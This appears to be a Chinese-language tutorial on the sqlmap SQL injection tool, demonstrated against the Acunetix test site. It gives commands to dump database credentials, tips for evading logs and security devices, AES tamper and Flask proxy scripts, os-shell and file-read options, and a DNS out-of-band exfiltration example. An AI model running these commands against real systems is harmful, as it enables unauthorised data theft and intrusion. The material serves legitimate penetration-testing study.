sqlmap
SQLMAP 用于测试 SQL 注入漏洞,通过时间、报错、OOB、文件写入、文件读取等手法进行注入,这款工具你需要关注的是测谁,测哪个参数。
目录
注入指定参数
GET
使用 -u
指定要测试的目标 URL,默认情况所有 GET 参数都会被测试
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3"
-p
则指定哪个 GET 参数需要被测试。
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3 -p x
多个参数使用逗号分隔 参数1, 参数2
。
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3 -p x,z"
要觉得使用 -p
选项太麻烦则可以用星号代替 *
。
python sqlmap.py -u "http://example.com/index.php?p=1*&x=2&z=3*"
POST
遇到 POST 方法请求存在注入,可以给出 POST 参数名注入,或者是整个 HTTP 请求放入文件交由 SQLMAP 测试。
首先将请求保存到文件。
POST /detail.php? HTTP/2
Host: www.example.com
Cache-Control: no-cache
User-Agent: sqlmap/1.6#stable (https://sqlmap.org)
Cookie: PHPSESSID=13qfaabajedcrj59hd56enkb1f
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
p=1&x=2&z=3
使用 -r 选项读取包含请求文件。
python sqlmap.py -r sqli.txt
指定参数还是和 GET 一样,无论使用 -p
还是星号 *
都可以。如果要自定义如果要多个位置测试就在不同位置加上星号,会按照前后顺序进行测试。
GET 和 POST 参数注入实例展示
这里使用 Acunetix Web Vulnerability Scanner 示例站点做演示。
浏览测试目标应用,pic=1 是一个商品。
尝试对手注判断注入点做加法运算,确定运算成功怀疑存在注入。
运行工具
python sqlmap.py -u http://testphp.vulnweb.com/product.php?pic=1 -p pic --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs
期间 SQLMAP 会问你是否要继续各种其他的操作,如果读不懂专有名词可以默认 Enter 键下一步,如果想所有都是默认操作,在运行工具时添加 --batch
选项即可。
运行结果得到系统自带的元数据库 information_schema 和自建数据库 acuart。
在遇到 POST 参数存在注入也可以很方便的使用 -r HTTP_REQ_FILE
测试。
python sqlmap.py -r HTTP_REQ_FILE --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs\
假设 POST 参数 searchFor 有注入。
POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 23
Cache-Control: max-age=0
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://testphp.vulnweb.com/product.php?pic=1%2b1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
searchFor=1*&goButton=go
首先需要将 HTTP 请求保存到一个文件中。
你会发现 searchFor 参数后面后面有个星号,表明只让 SQLMAP 只测这个参数。接下来和上面测试无异,运行工具即可。
python sqlmap.py -r HTTP_REQ_FILE --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs
拿数据
--current-db
查当前数据库名。
python sqlmap.py -r sqli.txt --current-db
--dbs
在有注入的情况下去查 DBMS 所有数据库名称。
python sqlmap.py -r sqli.txt --dbs
使用 -D
指明数据库 test,--tables 查其所有表。
python sqlmap.py -r sqli.txt -D test --tables
使用 -T
指明数据表 test,--columns 将获取 test 表内所有字段名。
python sqlmap.py -r sqli.txt -D test -T user --columns
最终使用 -C
查指定字段 name 和 password 所有数据。
python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump
使用 --dump 获取这两个字段的数据所有数据,等同于 SELECt name, password FROM user;
。
python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump
挖 SRC 最好设置下获取数据条数,--start 1 表示从第一条开始获取,--stop 5 表示获取到第五条结束。
python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump --start 1 --stop 5
隐蔽措施
Thread
网络状况不好的情况下降低毫秒时间内发送的请求数。默认速度过快可能导致服务器宕掉。
--delay
,表示每个请求之间的延时秒数,数字格式为浮点数。
python sqlmap.py -r sqli.txt --delay .5
HTTP Header
使用默认 GET 参数。
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3"
请求。
GET /index.php?p=1&x=2&z=3 HTTP/2
Host: www.example.com
Cache-Control: no-cache
User-Agent: sqlmap/1.6#stable (https://sqlmap.org)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
前面请求可以看到默认 UserAgent 为 sqlmap/x.x。而你通过浏览器拦截请求会带有完整请求头,不像工具这么简洁。
GET /index.php?id=94&test=1 HTTP/2
Host: www.example.com
Cookie: PHPSESSID=q5fpkb88i5e5c12l6mksplc1v9
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
--random-agent
选项从 sqlmap/data/txt/user-agents.txt 随机读取一个 UserAgent 可以避免被安全设备禁止访问。
现在最好不要使用,因为里面都是很旧的版本,看起来不正常。2022 年 Chrome 版本都到了 100,而 sqlmap UA 最高才 40,看起来就不像正常用户。
所以尽量模拟浏览器发出的请求,可以抓浏览器请求包 -r
去注入,如果目标 GET 和 POST 方法都支持的话,最好使用 POST 方法,因为 WebServer 不会记录 POST 参数到 AccessLog 里——除非经过 WAF 或者流量分析设备。
待补充......
--referer="Referer value" 设置 referer 请求头
减少 Payload 发送
确定注入点后尽量不让 SQLMAP 猜测,去减少 Payload 发送次数。
指定数据库
有时你通过错误页面展示获取其他方式得到站点数据库,用 --dbms
可以直接指定,避免 SQLMAP 猜测数据库类型发送大量 Paylaod 探测。
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3" `--dbms="MySQL"
指定注入技术
SQLMAP --technique 选项可以指定注入使用什么技术。
- B,Boolean-based-blind(布尔型)
- E,Error-based(报错型)
- U,Union-query-based(联合查询)
- S,Stacked-queries(多语句查询)
- T,Time-based-blind(时间延迟)--time-sec=5 用来设置时间延迟注入中延迟多久,默认值是 5 秒。
- Q,Inline-queries(子查询)
默认是 BEUSTQ 全用。用 --technique ES 来指定用那些检测方法。
python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3" `--technique=EST
设定检测范围和 Payload 风险值
--level 用于设定 SQLMAP 检查请求中哪些 HTTP Header 是否存在注入。默认值为 --level=1,仅检测 GET、POST 参数。
- --level=2,开始检测cookie 是否存在注入。
- --level=3,开始检测user-agent、referer 字段是否存在注入。
- --level=4,会打更多Payload。
- --level=5,检测包中host 字段是否存在注入。
level 每一级都包含前面所有等级测试项,而且不同 level 请求数量不一样,级数越高请求 Payload 越多。
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)https://github.com/sqlmapproject/sqlmap/blob/master/data/xml/payloads/boolean_blind.xml#L21
--risk
,表示测试所使用的语句,范围在 1-3,默认为 --risk=1
,数字越大使用的测试语句越多随之而来的风险越大,可能目标有个 UPDATE 语句你给个 --risk 3
直接数据给删了。
- --risk=2,添加了基于 Time 的 SQL 注入.
- --risk=3,会使用 or 语句注入,如果目标语句用的是 UPDATE 语句,可能会导致所有数据被更改。
日志调试
代理
--proxy 通常我会转发到 BurpSuite 去看它如何判断漏洞。
python sqlmap.py -u http://www.example.com --proxy="http://addr:port"
日志
-v 控制台显示输出信息详细级别,默认为 -v 1。
- 0: Show only Python tracebacks, error and critical messages.
- 1: Show also information and warning messages.
- 2: Show also debug messages.
- 3: Show also payloads injected.
- 4: Show also HTTP requests.
- 5: Show also HTTP responses' headers.
- 6: Show also HTTP responses' page content.
https://github.com/sqlmapproject/sqlmap/wiki/Usage#output-verbosity
高级别包含低级别信息。
下面使用 -v 3 在 Console 显示注入 payload,-t 将日志保存到文件。
python sqlmap.py -u http://www.example.com -v 3 -t "C:\Users\gbb\Desktop\sqli_log"
Template 编写
--tamper=temperName 调 sqlmap/tamper/ 目录下脚本,可以自己编写脚本处理 Payload。
代理服务器处理请求响应
Web/Mobile 端常见场景是请求与响应数据加密或者编码,解决方案是通过 Flask 搭建本地代理服务处理信息。整个数据流向 Tools -> Flask Proxy Server -> TargetSite。
这里给出一个实战场景,服务端应用只接受 AES 加密数据,处理完并返回 AES 加密后的响应。实际中也可能是 Base64 发送的参数处理完返回编码数据。
下面以 AES 加密为例。
首先想办法分析应用如何加密请求参数,先得到加密方式,比如 Secret Key、Padding、Mode,再通过加密脚本 aesEncryption.py 整体进行加密。
# Needed imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from base64 import b64encode
# Define which is the order of application of tamper scripts against
# the payload
# __priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
针对 Payload 和数据包整体进行 AES 加密,最终返回 Base64 编码后的结果。
'''
post_data = r'[{"WFPUSER":"admin#rep#"}]'
post_data = post_data.replace('#rep#', payload) # 将 post 数据和 payload 拼接
retVal = bytes(post_data, encoding="utf-8")
# your code to tamper the original payload
key = b'test' # 密钥
aes_obj = AES.new(key, AES.MODE_ECB) # 加密模式是ECB
retVal = aes_obj.encrypt(pad(retVal, 16)) # 默认是 PKCS7 填充, 128 bit
# return the tampered payload
return b64encode(retVal).decode() # base64 编码输出
通过 8080 将请求转到 BurpSuite 调试,能看到成功加密,但 SQLMAP 没法解密响应包密文。
python sqlmap.py -r C:\Users\gbb\Desktop\sqli --dbms="Microsoft SQL Server" --random-agent --tamper=aesEncryption --delay=0.5 --level=5 --risk=2 -v 3 -t "C:\Users\gbb\Desktop\sqli_log" --proxy="http://127.0.0.1:8080" --is-dba --dbs
写完解密脚本 aesDecryption.py。
# Needed imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
def tamper(payload):
'''
解密。
'''
payload = bytes(payload, encoding="utf-8")
# your code to tamper the original payload
key = b'wfp2javah5m47i70'
unbase64_result = b64decode(payload)
aes_obj2 = AES.new(key, AES.MODE_ECB) # 加密模式是ECB
retVal2 = unpad(aes_obj2.decrypt(unbase64_result), 16)
return retVal2.decode()
通过 Flask 作为代理服务,转发所有接收到的请求,并把响应的加密信息解密为明文。
from flask import Flask, request
from decryption import tamper
import requests
import re
app = Flask(__name__)
app.config['DEBUG'] = True
@app.before_request # 拦截请求
def proxy():
req_value = request.get_data().decode()
location_url = request.url
# 尽量模拟浏览器请求头
headers = {
'Content-Type': 'text/html;charset=utf-8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36',
'Host': request.host
}
proxies = {
"http": "http://127.0.0.1:8080"
}
# response = requests.post(location_url, headers=headers, data=req_value, proxies=proxies) # 把数据交给 Burp 进行调试
response = requests.post(location_url, headers=headers, data=req_value)
text = response.text
comp = re.compile(r'<WFP_SYS_JsonSQLResult>(.*?)</WFP_SYS_JsonSQLResult>') # 通过正则匹配响应中的数据
match = comp.findall(response.text)[0] if text else ''
match_data = tamper(match) # 通过 tamper() 解密
app.logger.info(match_data) # 通过日志输出解密数据插件结果
return match_data # 直接返回数据
if __name__ == "__main__":
app.run(host='127.0.0.1', port=80, debug=True)
最后 SQLMAP --tamper 调用加密脚本 ,解密则 --proxy 来做。实战中可以微调代码,即可解决问题。
python sqlmap.py -r C:\Users\gbb\Desktop\sqli --dbms="Microsoft SQL Server" --random-agent --tamper=aesEncryption --delay=0.5 --level=5 --risk=2 -v 3 -t "C:\Users\gbb\Desktop\sqli_log" --proxy="http://127.0.0.1:80" --is-dba --dbs
不常用到的选项
--proxy-cred="name:pass" #有些代理需要验证,这里是验证身份。
--ignore-proxy #忽略系统代理,避免转发外网服务器无法扫描,通常用于内网检测。
--method=METHOD #一些网站用 RESTFUL 风格 设计API,可能涉及 PUT 传输数据,这时候你就要指定方法了。
-m file_name #批量测试 file_name 中的 URL
--data="par=value" #一般用来对指定 POST 参数进行检测,GET 也可以使用。
--cookie="key=value; key2=value" #指定 cookie 做身份认证,在需要认证的时候使用,用法 --cookie SESSION=121j3lkjjskdjlkjsdf
--user-agent="x" #自定义一个 UA。
--mobile #把 User-Agent 设为移动端浏览器
--batch #所有操作采用默认选项,不需要输入YES/NO。
--timeout=30.1 #用来指定多长时间没有返回信息就算超时,默认值为 30s,超时后默认重试 3 次,用 --retries=x 来设置重试次数。
--threads=1 #设置线程(并发),默认是 1。
--second-url="url" #有时注入的结果显示在别的页面(二阶注入的一种),让 sqlmap 去指定页面查看结果。
--csrf-token= #在 POST 方式提交时遇到 Token 问题,可以查一下用法。
--csrf-url= #指定获得 Token 页面。
--prefix=x #给Payload加前缀
--suffix=x #给Payload加后缀
--sql-shell #获取 SQL-SHELL 来执行 sql语句
--os-shell #获取一个系统 shell 执行系统命令
--file-read=path/x #读取对方系统上的文件
--file-write=path/x #指定要写入到对方的本地文件
--file-dest= #指定写入到对方那个路径下
--dns-domain=DNS #ceye.io提高盲注效率
#通过将 DNS 服务器的解析日志得到注入数据。以 MySQL 为例
#select load_file(concat(select database(),as2.qq.com))盲注到的数据和 --dns-domain 指定的域名拼接起来得到dvwa.as2.qq.com,mysql 发送一个 DNS 解析请求,
#通过本地 DNS 以递归的方式找到一个 DNS 服务器查询这个域名 A 记录,并且在日志留下 dvwa.as2.qq.com 查询记录。
#首先 DNS 服务器你能控制,另外 DNS 上要有对应解析记录。
#黑皮书 230 页-使用外带通道
--current-user #查当前数据库用户名
--users #获取当前数据库所有用户名
--is-dba #检测当前用户是否为 DBA 权限。
--dump-all #导出所有数据库里表的内容。脱库,等同于获取当前数据库用户所有有权限读取的数据,从库、表、字段、数据全部获取。
--param-del #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符。
sqlmap -u "https://www.baidu.com/index.php" --data="id=1;book=2" --param-del=";"
--purge #安全的删掉.sqlmap/output/下所有内容
--cleanup #清除~/.sqlmap/内容
--headers="字段:值\n字段:值\n" #字段是大小写敏感的,多个字段用\n进行换行。
--referrer="" #用于设置 referrer 头的值。
--force-ssl #用 HTTPS 跟 URL 进行连接。目标启用了 HTTPS 时,不加这个选项无法注入。
--param-del #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符,一般不会改这个内容。
--safe-url/--safe-freq
--safe-url="http://xxxx.com/?id=1" --safe-freq="5"
每次发送 5 次注入请求后,发一次正常请求,因为检测时会有大量请求发向服务端,产生的过多错误,服务端可能销毁session,你就失去登录凭证,无法进行登陆后页面的扫描。
--csrf-token/--csrf-url #使用 --csrf-token=字段名,sqlmap 会在页面上找到这个字段对应的 token 值,而 --csrf-url 可以结合 burpsuite 来绕 token。
--fresh-queries #SQLMAP会自己缓存上次查询的结果,加上选项可以忽略缓存。 --flush-session,这才是真全清缓存,什么数据库、表啥都没了直接删掉。
参考链接
- User's manual - Usage,SQLMAP WIKI,所有的问题可以在此找到解决方案
最近更新:
发布时间: